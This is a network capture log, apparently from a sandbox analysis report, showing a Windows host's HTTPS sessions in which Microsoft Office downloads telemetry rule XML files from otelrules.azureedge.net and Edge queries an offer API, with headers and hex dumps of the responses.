2024-11-15 08:55:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:35 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:35 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 6266d644-901e-0083-0e09-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085535Z-16547b76f7f7scqbhC1DFW0m5w0000000mvg000000000var x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:35 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:35 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:35 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 77cd0995-b01e-0097-670b-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085535Z-16547b76f7f76p6chC1DFWctqw0000000n1g000000005kxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:35 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:35 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:35 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:35 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 9564d138-601e-0084-5287-366b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085535Z-164f84587bfjxw6fhC1DFWq944000000015000000000877n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:35 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	49857	94.245.104.56	443	1588	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:35 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 08:55:35 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 15 Nov 2024 08:55:34 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=3e4931a31fa9f6b0a9a0b3e0bec1ba0e7d81601066244883a4782a099ce2b765;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=3e4931a31fa9f6b0a9a0b3e0bec1ba0e7d81601066244883a4782a099ce2b765;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:35 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:35 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:35 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 9bdc8c39-b01e-003d-1ed2-2cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085535Z-16547b76f7ftnm6xhC1DFW9c8c00000000rg000000003sc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:35 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:36 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:36 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 24bee092-d01e-0028-6965-367896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085536Z-164f84587bfdl84ghC1DFWbbhc000000015g00000000c7m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:36 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:36 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:36 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 45f85aaf-a01e-001e-325d-3649ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085536Z-164f84587bf5xhlshC1DFW6040000000016g000000005t1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:36 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:36 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:36 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 5d2bddd1-201e-006e-8040-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085536Z-16547b76f7ffx24hhC1DFW9px400000000h00000000096dc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:36 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:36 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:37 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:36 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5e3aaffc-501e-0064-42f8-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085536Z-164f84587bfs5tz9hC1DFW9a3w000000012g00000000a3tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:37 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:37 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:37 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085537Z-16547b76f7f9bs6dhC1DFWt3rg0000000mx0000000005nmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:37 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:37 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:37 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:37 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: dbae507e-301e-000c-7008-36323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085537Z-1866b5c5fbbqmbqjhC1DFWwgvc00000000q00000000023t6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:37 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:37 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:37 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:37 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2374d83a-301e-0020-4b09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085537Z-1866b5c5fbbqmbqjhC1DFWwgvc00000000mg000000007e6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
